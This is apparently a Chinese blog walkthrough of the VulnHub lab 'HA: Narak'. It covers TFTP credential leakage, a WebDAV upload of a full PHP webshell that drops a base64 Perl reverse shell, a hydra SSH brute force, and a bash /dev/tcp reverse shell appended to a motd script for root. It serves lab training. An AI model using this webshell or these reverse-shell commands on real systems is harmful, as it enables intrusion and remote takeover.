[VulnHub靶机渗透] HA: Narak

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nmap漏洞扫描

nikto漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集+TFTP渗透测试

tftp协议

4、反弹shell

三、提权

1、信息收集

2、初步提权

3、二次提权

user.txt

root.txt


前言

学渗透必打百台靶机实操精讲-Narak。涉及UDP突破,TFTP信息泄漏,webdav反弹shell上传。二级提权,第一级通过找到可写bash脚本文件中的brainfuck语句,获得凭据,二级通过motd脚本获得root权限。相比之前的视频,增加了些新知识,值得玩味的攻击链。可以结合靶机实操。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.171

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

发现靶机开放了22和80端口,从目前的信息来看。我们肯定是首先从web的80端口下手渗透测试

┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.31.171 

3、漏洞扫描

nmap漏洞扫描

80端口的web目录,发现/webdav/目录,我们可以尝试访问下

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80 192.168.31.171 

/webdav/目录,是存在登录凭据的,我们需要查找/webdav/目录的账号密码,到时候尝试登录

WebDAV(Web Distributed Authoring and Versioning)是一种用于在远程服务器上进行文件管理和协同工作的协议。对于使用 WebDAV 服务器的用户来说,/webdav/ 可能是服务器上提供的 WebDAV 服务的根目录路径。

nikto漏洞扫描

nikto漏洞扫描,发现靶机的一些版本信息和一些目录,但是这些信息对目前的渗透测试来讲没有什么价值。

┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.171

二、渗透测试+信息收集

1、web渗透

访问web80端口,发现是一个关于印度题材的一个界面,下面有一个介绍,我给大家翻译下

像这里面的用户名要注意下,因为靶场开放了22端口,到时候大概率要利用ssh远程登录,所以对于用户和密码需要多注意下。

目前我们还没有找到关键的突破点,所以我们下一步需要从扫描目录的点着手。

2、目录扫描

扫描发现了/images和/webdav和/server-status目录,访问后,发现就是开始前面访问的/webdav目录有用,其他的没有什么发现。这就很难搞啊,到目前还是没有什么突破,在目录扫描方面,gobuster 对于目录列举,有些后缀,他默认没有扫描,比如:zip,rar,sql,txt,php等,需要我们手动去添加扫描

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

  • dir:指定 gobuster 工具要执行的模式,这里是目录扫描模式,即扫描指定 URL 中的目录。
  • -u http://192.168.31.171:指定要扫描的目标 URL,这里是 http://192.168.31.171,即目标网站的地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt:指定字典文件的位置,这里是 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,即作为目录爆破的字典文件。

gobuster进阶

我们利用gobuster手动对一些特定的后缀进行扫描,发现/tips.txt目录下,有线索

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,sql,txt,php

根据作者的提示,我们需要找到creds.txt文件,然后在里面有突破的线索,但是我访问这个目录,发现访问不成功,说明这个文件,在web页面不可以直接访问,可能需要利用某些协议才可以访问到,但是我们最先开始扫描端口,就一个22端口开放了ssh协议,这就很奇怪了!

有没有可能我们扫描端口开放的协议,并没有扫描完全,还有的端口没有发现,这么一想,好像被nmap-p-给欺骗了,因为,它默认不骚了UDP端口的协议,所以我们下一步就可以扫描UDP 的端口协议。

3、信息收集+TFTP渗透测试

扫描UDP端口协议,发现可能存在开放了tftp协议

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 20 192.168.31.171 
  • -sU:指定 nmap 使用 UDP 扫描模式。UDP 扫描用于探测目标主机上开放的 UDP 端口。
  • --top-port 20限制扫描的端口范围为前 20 个最常见的端口。

tftp协议

TFTP(Trivial File Transfer Protocol)是一种简单的文件传输协议,用于在计算机网络中进行文件传输。与 FTP(File Transfer Protocol)相比,TFTP更加简单,功能也相对有限。 TFTP通常用于进行无需用户认证和权限控制的简单文件传输操作。它基于UDP(User Datagram Protocol)协议工作,使用69号端口进行通信。TFTP不需要建立持久的连接,每个文件传输操作都是独立的。

TFTP的设计目标是提供一种轻量级的文件传输解决方案。它通常用于像路由器和网络设备等资源受限的环境中,用于通过网络进行固件更新、配置文件传输等操作。TFTP支持读取(下载)和写入(上传)文件,但它没有目录列表、登录认证、加密等高级功能。

既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:

┌──(root💀kali)-[~/桌面]
└─# tftp 192.168.31.171                                                                                                                                                2 ⚙
tftp> get creds.txt
Received 22 bytes in 0.0 seconds
tftp> quit

下载完以后,查看发现creds.txt是个base64加密的文件,解密后得到:yamdoot:Swarg,应该是串账号密码,我们可以尝试ssh远程登录,但是发现登录失败。

后来,我们想到开始的/webdav,也是需要账号密码登录的,后来尝试登录成功了。

┌──(root💀kali)-[~/桌面]
└─# cat creds.txt                                                                                                                                                      2 ⚙
eWFtZG9vdDpTd2FyZw==
                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# echo "eWFtZG9vdDpTd2FyZw==" |base64 -d                                                                                                                             2 ⚙
yamdoot:Swarg 

/webdav登录成功了,但是里面没有什么文件,但是我们可以利用/webdav的客户端管理工具进行上传webshell木马,然后反弹shell

此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

┌──(root💀kali)-[~/桌面]
└─# davtest -url http://192.168.31.171/webdav -auth yamdoot:Swarg

我们可以看到可以利用客户端上传哪些文件,并且对于的哪些权限,我们发现txt、php和html的权限最高。

对于文件执行,只有 txt、php 和 html 类型的文件被成功执行。而其他类型的文件(jhtml、cgi、cfm、asp、aspx、shtml、jsp、pl)均没有成功执行。

所以,我们需要写一个php的webshell进行上传,然后再利用kali进行监听,然后反弹shell

4、反弹shell

webshell木马

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.31.225";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

然后再利用一个客户端,把webshell.php上传,此处使用的webdav客户端是cadaver

┌──(root💀kali)-[~/桌面]
└─# cadaver http://192.168.31.171/webdav                                                                                                                               3 ⚙
Authentication required for webdav on server `192.168.31.171':
Username: yamdoot
Password: 
dav:/webdav/> put webshell.php
Uploading webshell.php to `/webdav/webshell.php':
Progress: [=============================>] 100.0% of 1706 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
Coll:   DavTestDir_s2zRPsmpVIjC                0  2月 21 23:02
Coll:   DavTestDir_uUl0kpRTt3uybI              0  2月 21 05:16
        webshell.php                        1706  2月 21 23:08

输入用户名和密码(yamdoot:Swarg)

kali先进行监听,然后再点击webshell.php文件,然后发现反弹shell成功了

python3 -c 'import pty; pty.spawn ("/bin/bash")'  //交互式shell

export TERM=xterm  //添加环境变量,使shell更加完整

三、提权

1、信息收集

发现sudo提权和SUID都没有可以提权的地方

www-data@ubuntu:/var/www/webdav$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/umount
/bin/mount
/bin/ntfs-3g
/bin/su
/bin/fusermount
/bin/ping
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/traceroute6.iputils

cat /etc/crontab查看有没有定时任务执行啥的,发现也是没有

www-data@ubuntu:/var/www/webdav$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

终通过查找可写的文件发现了一些端倪:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

发现/mnt/hell.sh里面是一个Brainfuck 编程语言的代码,然后/etc/apache2/users.password里面是我们开始登录/webdav的登录凭据。

cat /mnt/hell.sh
#!/bin/bash

echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
www-data@ubuntu:/var/www/webdav$ cat /etc/apache2/users.password
cat /etc/apache2/users.password
yamdoot:webdav:8ef09831d201bd84acb0ef99a4a98a91

我们对Brainfuck代码进行解密,解密网站如下:解密得到一串应该是密码,chitragupt

Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]icon-default.png?t=N7T8https://www.splitbrain.org/services/ook

2、初步提权

我们上面经过信息收集,发现了一个密码,我们现在可以去收集靶机相关的账号,然后利用hydra九头蛇进行爆破ssh远程登录。

我们在/home家目录下,看到三个用户,然后在/etc/passwd文件下,看到具有/bin/bash权限的用户,也刚好有这几个,很有可能这几个账户中就有和刚才chitragupt密码匹配ssh的用户。

把账号密码分别进行保存,然后再利用hydra九头蛇进行爆破

┌──(root💀kali)-[~]
└─# vim passwd.txt                                                                                                                                                     1 ⚙
                                                                                                                                                                           
┌──(root💀kali)-[~]
└─# vim users.txt                                                                                                                                                      1 ⚙
                                                                                                                                                                           
┌──(root💀kali)-[~]
└─# cat passwd.txt                                                                                                                                                     1 ⚙
chitragupt
                                                                                                                                                                           
┌──(root💀kali)-[~]
└─# cat users.txt                                                                                                                                                      1 ⚙
root
inferno
yamdoot
narak

爆破成功,

[22][ssh] host: 192.168.31.171 login: inferno password: chitragupt

┌──(root💀kali)-[~]
└─# hydra -L users.txt -P passwd.txt 192.168.31.171 ssh                                                                                                                1 ⚙
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-22 00:12:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking ssh://192.168.31.171:22/
[22][ssh] host: 192.168.31.171   login: inferno   password: chitragupt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-22 00:12:13

ssh远程登录成功了

┌──(root💀kali)-[~]
└─# ssh inferno@192.168.31.171                                                                                                                                         1 ⚙
inferno@192.168.31.171's password: 
Last login: Wed Feb 21 06:03:50 2024 from 192.168.31.225
inferno@ubuntu:~$ export TERM=xterm   //环境变量,使shell更加完整
inferno@ubuntu:~$ whoami
inferno

3、二次提权

sudo提权和SUID提权以及查看定时进程任务都没有发现可以提权的地方,

user.txt

找到了user的flag

inferno@ubuntu:~$ ls
user.txt
inferno@ubuntu:~$ cat user.txt
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}

查看哪些具有可写权限的文件:

inferno@ubuntu:~$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:

后来发现00-header,这个脚本的目的是在登录时向用户显示相关的系统信息。

可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell。

把到时候kali监听的反弹shell写入到00-header中,然后我们再利用卡里监听,然后重新ssh登录inferno用户,就可以得到root权限了

inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/192.168.31.225/4444 0>&1'" >> 00-header

root.txt

恭喜我们拿到了root权限,也成功拿到了root用户的flag了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/404997.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu20.04 安装 matlab R2023b

ubuntu20.04 使用matlab R2023b 起因步骤问题问题1问题2问题3 起因 闲着没事&#xff0c;想在ubuntu上安装matlab。 步骤 这个博客写得很好&#xff0c;我就不赘述了&#xff1a;参考博客 。但有点不一样&#xff1a;我现在matlab官网上下载的linux版本不是iso镜像文件&…

计算机设计大赛 深度学习二维码识别

文章目录 0 前言2 二维码基础概念2.1 二维码介绍2.2 QRCode2.3 QRCode 特点 3 机器视觉二维码识别技术3.1 二维码的识别流程3.2 二维码定位3.3 常用的扫描方法 4 深度学习二维码识别4.1 部分关键代码 5 测试结果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天…

第3.5章:StarRocks数据导入——Broker Load

注&#xff1a;本篇文章阐述的是StarRocks-3.2版本的Broker Load导入机制 一、概述 Broker Load导入方式支持从HDFS类的外部存储系统&#xff08;例如&#xff1a;HDFS、阿里OSS、腾讯COS、华为云OBS等&#xff09;&#xff0c;支持Parquet、ORC、CSV、及 JSON 四种文件格式&a…

一个非常强大的可视化.NET开源任务调度框架

在项目开发中&#xff0c;任务调度的场景非常多&#xff0c;比如每天定时发送邮件、延迟1小时处理、长时间任务&#xff08;数据导入、图像处理或文件转换&#xff09;等一些业务场景&#xff0c;我们日常做法可能会编写一个后台服务项目解决这些场景。 今天给大家推荐一个开源…

Spring6学习技术|Junit

学习材料 尚硅谷Spring零基础入门到进阶&#xff0c;一套搞定spring6全套视频教程&#xff08;源码级讲解&#xff09; Junit 背景 背景就是每次Test都要重复创建容器&#xff0c;获取对象。就是ApplicationContext和getBean两个语句。通过Spring整合Junit&#xff0c;可以…

Linux(ACT)权限管理

文章目录 一、 ATC简介二、 案例1. 添加测试目录、用户、组&#xff0c;并将用户添加到组2. 修改目录的所有者和所属组3. 设定权限4. 为临时用户分配权限5. 验证acl权限 6. 控制组的acl权限 一、 ATC简介 ACL&#xff08;Access Control List&#xff0c;访问控制列表&#xf…

【JavaScript 语法】

JavaScript 语法 ■ JavaScript 是什么■ JavaScript 语法■ JS 注释■ JS 结束符■ JS 输入输出语句■ JS 代码块■ JS var和let 作用域■ JS var和let 全局变量■ JS const 常量/对象/数组■ JS 关键词■ JS 值■ JS 字面量 &#xff08;混合值&#xff09;■ JS 变量&#x…

C语言——实用调试技巧——第1篇——(第22篇)

坚持就是胜利 文章目录 一、什么是bug?二、调试是什么&#xff1f;有多重要&#xff1f;三、debug 和 release 的介绍&#xff1f;1、2、3、 四、windows环境调试介绍1、调试环境的准备2、学会快捷键F5 或者 Fn F5条件断点 Ctrl F5F9 或者 Fn F9F10 或者 Fn F10F11 或者 F…

文件操作IO

文件操作IO .认识文件树型结构组织 和 目录文件路径&#xff08;Path&#xff09;其他知识Java 中操作文件构造方法方法 创建文件删除文件创建目录重命名文件内容的读写 —— 数据流Reader/Writer(字符流)InputStream/OutputStreadm(字节流)scanner 例题1.扫描指定目录&#xf…

SpringMVC 学习(一)之 SpringMVC 介绍

目录 1 MVC 介绍 2 SpringMVC 介绍 2.1 SpringMVC 特点 2.2 SpringMVC 的核心组件 2.3 SpringMVC 执行流程 3 参考文档 1 MVC 介绍 MVC (Model View Controller) 是一种设计思想&#xff0c;它将应用程序分为三大组件&#xff1a;模型 (Model)、视图 (View)、控制器 (Con…

素数筛法详解:埃氏筛和欧拉筛

主要讲解怎么判断一个数字是否是素数&#xff1a; 埃式筛 学习埃氏筛之前&#xff0c;我们先看一下暴力筛法&#xff0c;即对每个数都用试除法判断其是不是质数&#xff1a; 暴力筛法&#xff1a; # include <stdio.h>int main() {int st[N]; // 初始化为0&#xff0…

rider 缺少iisexpress

File C:/Program Files (x86)/IIS Express/iisexpress.exe doesn’t exist iisexpress下载 64位系统只能安装64位&#xff0c;32位系统安装32位 安装完成之后就有了

MacBook的nginx出现13: Permission denied 的问题分析和解决办法

同样的项目代码&#xff0c;电脑从Windows更换到了MacBook&#xff0c;发现网站的样式都没有了&#xff0c;直接访问CSS文件 http://crm.ms-test.cc/toolstatic/css/bootstrap.min.css 发现无法访问。查看Nginx错误日志&#xff1a; 说明是nginx没有权限访问这个CSS文件&#…

NDK的log.h使用__android_log_print报错app:buildCMakeDebug[x86_64]

org.gradle.api.tasks.TaskExecutionException: Execution failed for task :app:buildCMakeDebug[x86_64] 重点是 Execution failed for task :app:buildCMakeDebug[x86_64]. 我的代码&#xff1a; #include <android/log.h> #define LOG_TAG "MyJNI" #d…

20240113----重返学习-`nginx/conf/nginx.conf`的https证书配置说明

20240113----重返学习-nginx/conf/nginx.conf的https证书配置说明 文件说明 不同域名的多虚拟主机配置 server {listen 443 ssl;#在443端口上监听SSL/TLS流量;server_name localhost;#指定服务器名称&#xff0c;应该与域名匹配;ssl_certificate fangchaoduan.com.pem;#指定SS…

Linux之ACL权限管理

文章目录 1.ACL权限介绍二、操作步骤1. 添加测试目录、用户、组&#xff0c;并将用户添加到组2. 修改目录的所有者和所属组3. 设定权限4. 为临时用户分配权限5. 验证acl权限6. 控制组的acl权限 1.ACL权限介绍 每个项目成员有一个自己的项目目录&#xff0c;对自己的目录有完全…

DSL Query基本语法

DSL Query基本语法 查询的基本语法如下&#xff1a; GET /indexName/_search {"query":{"查询类型":{"查询条件":"条件值"}} }查询所有 GET /indexName/_search {"query":{"match_all":{}} }match查询&#xf…

【高德地图】Android高德地图绘制标记点Marker

&#x1f4d6;第4章 Android高德地图绘制标记点Marker ✅绘制默认 Marker✅绘制多个Marker✅绘制自定义 Marker✅Marker点击事件✅Marker动画效果✅Marker拖拽事件✅绘制默认 Infowindow&#x1f6a9;隐藏InfoWindow 弹框 ✅绘制自定义 InfoWindow&#x1f6a9;实现 InfoWindow…

MyBatis之Mapper.xml文件中parameterType,resultType,resultMap的用法

MyBatis之自定义数据类型转换器 前言1.parameterType2.resultType3.resultMap实例代码总结 前言 今天我们来学习Mapper.xml&#xff08;编写SQL的&#xff09;文件中&#xff0c;增删改查标签中&#xff0c;使用parameterType属性指定传递参数类型&#xff0c;resultType属性指…

人工智能_CPU微调ChatGLM大模型_使用P-Tuning v2进行大模型微调_007_微调_002---人工智能工作笔记0102

这里我们先试着训练一下,我们用官方提供的训练数据进行训练. 也没有说使用CPU可以进行微调,但是我们先执行一下试试: https://www.heywhale.com/mw/project/6436d82948f7da1fee2be59e 可以看到说INT4量化级别最低需要7GB显存可以启动微调,但是 并没有说CPU可以进行微调.我们…
最新文章